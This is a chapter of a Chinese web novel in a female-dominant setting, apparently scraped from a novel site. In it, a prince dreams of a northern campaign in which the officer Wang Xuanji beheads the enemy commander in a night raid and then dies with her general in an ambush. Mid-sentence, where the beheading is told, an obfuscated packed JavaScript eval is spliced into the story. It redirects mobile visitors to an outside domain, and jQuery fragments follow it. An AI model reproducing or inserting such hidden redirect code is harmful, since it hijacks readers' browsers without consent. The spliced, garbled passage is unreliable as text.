14.第十四章

作品:《妻主她罪名昭著(女尊)

    建安十六年秋,大周以鲜卑赫连氏屡犯朔方六镇、劫掠边民为由,发兵三十万北伐。


    其中,琅琊王氏率二十万军力倾巢而出,汝南袁氏则派遣八万青鸾军,而谯国桓氏则出两万兵力。


    因王衡芫大将军治军有方,琅琊王氏铁血王家军纪律严明,令行禁止,英勇善战,大周子民无不对其寄予厚望。


    此次出征,当以王家军为主力,青鸾军策应两翼,而桓氏兵为先锋破阵。但,因王衡芫抱恙在身,圣上特命其嫡女王琢璋代母出征,授威武将军印,统领中军三营。


    出征前三月,王琢璋以军中需良将为由,奏请调任金吾卫王璇玑入飞骑营。圣旨既下,王璇玑即刻卸去禁卫之职,受封疾锋校尉,统领三千精骑随军出征。


    在秋高气爽,晴空万里的一日,三十万大军列队出征,于山道上观望,黑压压的军阵填满山谷。


    当时年仅五岁的姬怜梦到这一幕时,他还不懂其中意味。


    而现如今,梦境重现,他望着铺天盖地的军容,脑海里想的是这么一句诗,“四边伐鼓雪海涌,三军大呼阴山动。”


    大军自建康渡江,经广陵、下邳,北上彭城。


    王琢璋虽第一次统领大军,但格外机警,她用兵奇正相生,连破鲜卑七寨。王璇玑率轻骑穿插敌后,二人配合如臂使指,收复淮北诸镇,两次大战皆大捷,鲜卑赫连氏被打得节节败退。


    在即将开始第三次决胜大战的前夕,军中众人定策夜袭,王璇玑遂选定死士八百,趁夜奔袭赫连王帐。


    此次夜袭王帐一事,很是冒险。


    坐镇于帐中是赫连姝,乃鲜卑王的嫡长女。


    赫连王帐驻于四万大军中央,外设三重鹿砦。内圈数百名亲卫轮值,帐前立六座哨塔,且配有弓箭手。


    可以说,稍有不慎,王璇玑和一干死士便是直接会被射得像个马蜂窝,有去无回。


    王琢璋坐于帐中,沉默地盯着眼前的沙盘,身旁的几名亲卫亦是一言不发,跳动的烛火将几人的影子映在帐幕上。


    帐帘被人猛地撩开,一名身形高挑的校尉走进来。


    此人着一身玄铁校尉服,勾勒出肩宽腰窄的锐利身形,腰侧挂着一柄横刀,刀柄上缠着红绸。


    她形貌昳丽,几缕微乱的发丝垂落额前,用一条红发带束着高马尾,刚净面的水珠顺着下颌线滑落。


    “王琢璋,我都躺床上了,你还把我喊过来做什么?你怎么净干些扰人清梦的事情?”


    只见王璇玑眼尾微挑,对她的上级将军招呼也不打,径直挨着王琢璋坐下,伸手端起案上茶盏,仰头一饮而尽。


    王琢璋对于王璇玑的越级之举并不动怒,反而将装着一小碟的蜜饯往此人面前一推,道:“此次夜袭甚是凶险,我本无意派你前往,只是军中诸将论骑射功夫、论应变之能,唯有你一人才能做到这事。”


    王璇玑托腮看了王琢璋好一会,眯着眼笑道:“我的功夫,你还不放心吗?我定能万军从中取那鲜卑女的首级,然后打包送到你帐内。”


    王琢璋内心的紧张被王璇玑这一番话给散去不少。


    她唇角终于漫出笑意:“首级就不必了,若是此次计划成功,你必定荣冠三军,封万户君侯。”


    王璇玑却是连连摇头,面色并未因为听到封侯而变,“我来打战也不为虚名什么,你知道我的。我只是为了践行当年的五年之约,我并不忠于什么朝廷,我只是对你尽责。”她撇嘴:“当初说好的,你替我还清赌债、赎回典当的刀。”


    她拍了拍腰间横刀,“为还这笔债,我既当护卫又入金吾卫,如今还被你诓来战场,可算受够了。”


    王璇玑又爽朗一笑:“我又不是真的琅琊王氏人,要这些侯爵虚名作什么?待五年之约期满,赠我一匹名驹便是。届时纵马离了建康,才好遍览大周山河。”


    王琢璋权作未闻王璇玑一番“不忠于朝廷”的放荡言论,但为她口中所说的“纵马离开建康”而感黯然。好友既已决定远去,她再想挽留也无法。


    她端起茶盏,“好,那我先祝你此行旗开得胜,平安归来。”


    王璇玑也将茶盏端起,“借你吉言。”


    五日后,夜半子时,月暗星稀,无雨。


    赫连王帐驻扎于山谷腹地,四周峭壁环抱。


    值守的亲兵统领忽觉颈后寒毛倒竖,虽举目四望未见异常,却总觉得黑暗中暗中蛰伏着什么。


    蓦地,隐隐约约从谷口传来闷响。


    咚。


    咚咚。


    咚咚咚。


    鼓声由缓至急,如惊雷,似洪水一般汹涌扑来。霎时间鲜卑大营火把齐明,哨塔弓手纷纷搭箭上弦。


    远处不停地传来咚咚咚的巨大声响,马蹄声,金铁交鸣声混杂成片,听声势竟似有千军万马正从三面压来。


    这是王璇玑留五百骑兵在山谷,每三人一处,令其扬起尘土,大力鼓擂,可营造出一种数万军队的假象。


    “北面?南面?还是西面?”


    “不...是三面都有!是王氏铁血军!她们来了!她们全军都来了!”


    这个念头一旦涌上,便在军中迅速蔓延。


    一时之间,鲜卑大营乱作一团。有人慌忙披甲,有人误伤同袍,更有战马受惊挣脱缰绳。


    赫连姝面容冷峻地从帐内走出,迎面撞上两名正欲逃窜的士兵。身旁的亲卫队长直接手起刀落,噗呲两声,两颗头颅滚落在地,鲜血喷溅在帐幕上。


    “擂鼓聚将。”赫连姝声音冷冽,“各营按预定方位结阵,擅离岗位者,斩立决。”


    军令如山,混乱的军营顿时为之一肃。各帐千妇长迅速集结本部,在营寨四周竖起盾墙,弓弩手即刻占据制高点。


    此刻,两百余名黑影正贴着帐篷阴影移动。王璇玑反握横刀,刀背敲晕第五个巡逻兵时,终于有鲜卑士卒发现异常:“她们在粮......”


    话音未落,一根包铜长棍狠狠扫中她的膝盖。王璇玑旋身踩住倒地士兵的喉咙,对身后骑兵比手势:“继续放火,遇敌只伤不杀。”她扯下燃烧的帐布甩向马厩,“让这些惊马替我们冲阵。”


    “将军,不好,走水了!”


    站在最高处的哨兵突感不对,扭头一看最靠后的两座粮仓突然着火,火舌舔舐着夜空,猩红火色映照着人脸。


    “啊!”


    已有三匹着火战马便撞翻盾墙。


    借着混乱,王璇玑的骑兵已分成三股:一股继续制造混乱,两股向东西哨塔潜去。


    死士们手拿长棍,如同鬼魅一般,专挑敌军腿弯处猛击。所过之处,鲜卑士兵接连倒地哀嚎。整座山谷回荡着呐喊声、擂鼓声、战马惊嘶声,还有此起彼伏的“敌袭”示警。赫连王帐四周顿时乱作一团,火光中只见人影幢幢,分不清敌我。


    赫连姝一把推开亲卫,厉声喝道:“传令!所有弓手无差别放箭,凡靠近王帐百步者,格杀勿论!”


    只见东侧营帐间,十六骑从不同方向冲来。由于夜色昏暗,直到马蹄声近在咫尺时,亲兵护卫才惊觉“保护将帅!”


    部分靠近赫连姝的弓箭手连忙转身,拉弓对准,却见四面八方都有黑影逼近,一时之间竟不知该瞄准何处。


    利箭破空声不绝于耳,十五名骑兵接连中箭坠马。一息之间,只剩一骑冲破箭雨,正是王璇玑。


    “放箭!快放箭!”


    箭雨如蝗,直扑那单骑身影。


    看到此处的姬怜忍不住惊呼,觉得这人必定是无论如何都逃不过了,没想到她竟是亡命之徒,企图以一换一的形式来取赫连姝的首级。


    但见王璇玑突然侧身下坠,以脚勾住马镫,整个人悬于马腹一侧,数十支羽箭堪堪擦过马鞍呼啸而过。这一招名为镫里藏身,是军中超高难度的骑射功夫,堪称一绝。


    电光火石之间,王璇玑腰腹猛力一挺,手已经摸到腰间横刀,横刀已然出鞘——


    “铮!”


    待亲卫骇然回首。


    赫连姝的脖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588449|170898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颈间现出一道血线,头颅冲天而起。


    王璇玑已回归马上,凌空抓住发髻,手提头颅,连人带马隐入夜色,杳杳离去无踪影,唯有喷涌的血柱在火光中格外刺目。


    太震撼了。


    这一幕给姬怜带来的感觉实在是太震撼了。


    什么叫做取上将首级,犹如探囊取物,什么叫做十步杀一人,千里不留行,什么叫做谈笑间樯橹灰飞烟灭,这些描绘全都在这一刻完美地具象化。


    在姬怜还来不及消化之际,画面陡然扭转——


    “报!王校尉,将军中伏了!”一名浑身浴血的骑兵疾驰而来,肩头上还插着半截断箭,“赫连残部于沼泽处设伏,将军被困,请速速支援!”


    “我们一起谋划的计策怎会出错?她怎会中埋伏...”王璇玑瞳孔骤缩,手中人头啪嗒落地,“随我来!”


    沼泽边缘,王琢璋的战马已倒在血泊中。她左肩插着三支羽箭,右手持长剑仍在苦苦作战。她重重地喘息着,这一次的预感很不好,恐怕今日是死劫难逃。


    四名赫连军士正呈合围之势,其中一人突然举刀劈向王琢璋的空门,她绝望地闭上眼——


    “铮!”


    王璇玑一个滑步过去,左手持横刀,刀尖精准刺入偷袭者的咽喉。滚烫的鲜血喷溅在她脸上时,右手已接住王琢璋脱力的佩剑,反手捅穿了另一名敌军的胸膛。


    瞬息之间,四名敌军身首异处 。


    王琢璋咳出一口血,声音嘶哑:“你快离开这里!这是圈套!”


    “你让我走?我可是特地赶来救你。“王璇玑一把扯断箭杆,将王琢璋护在身后,“王琢璋,你...”


    “闭嘴!”王琢璋暴喝一声,“这是军令!本将军现在命令你去找桓斩月,她为人可信忠诚,不像那袁照蕴……”


    王璇玑看着王琢璋。大腿上那道深可见骨的伤口正汩汩冒血,身上多处血肉外翻的伤口,惨白的脸上沾满泥污与血渍,伤痕累累。


    “本将军的命令你听还是不听?”


    一阵无法言说的悲伤涌上心头。王璇玑看着王琢璋,如果此时当真离去,两人还有机会再相见吗?


    王琢璋无力地靠着身后树,“我出身琅琊王氏,我母亲是大周的镇远将军,我是她的女儿,我今日战死沙场,我死得其所。”


    她眼神恳切,“你得活着...救出被困的王氏兵...代替我活下去...”


    剩下的话已不必再说。


    “保重。”


    王璇玑猛地别过脸去。她飞身上马,穿过沼泽,沿着断崖边缘疾驰。她满心只想着搬救兵,丝毫未察觉崖边灌木丛中有寒光闪动。


    猛地,腹部传来一阵剧痛,原来是一支三尺余长的破甲弩箭从灌木丛中而出,直接射-穿了王璇玑的腹部。


    紧接着箭雨倾泻而来。


    剧痛之下,已是无力阻挡,王璇玑身中数箭,胯-下马被惊得直接疯狂地嘶鸣挣扎。连人带马直接坠入断崖下,了无生息。


    在黑夜中安眠的绛珠忽闻帐内传来阵阵哭泣呜咽声。


    他连忙起身,点亮蜡烛,掀开帐帘一看,姬怜浑身轻微抽搐,脸上的水泽在烛光下闪烁着,分不清是汗水还是泪水。


    “殿下,你快醒醒。”


    推搡之中,姬怜睁开双眼。


    姬怜满目悲痛地看着绛珠,泣不成声,眼角的泪一颗接一颗地往下落,打湿枕衾。


    “殿下……”绛珠用帕子拭去姬怜的泪。


    姬怜从床上爬起,伏在绛珠的肩头,泪因为心头的悲伤而无法止住。他哭得肩膀剧烈地颤抖着,手捂住脸,水泽不断地从指缝间溢出。


    他为何会如此伤心欲绝?


    是为父亲剜心之痛?是为那两位浴血奋战却马革裹尸的将领而悲恸?还是仅仅只为那名战场上英气勃发,最终却落得个跌落悬崖、尸骨无存的王璇玑?


    他不知道。


    他只知道,经历两场梦之后,他的心好像空了一块。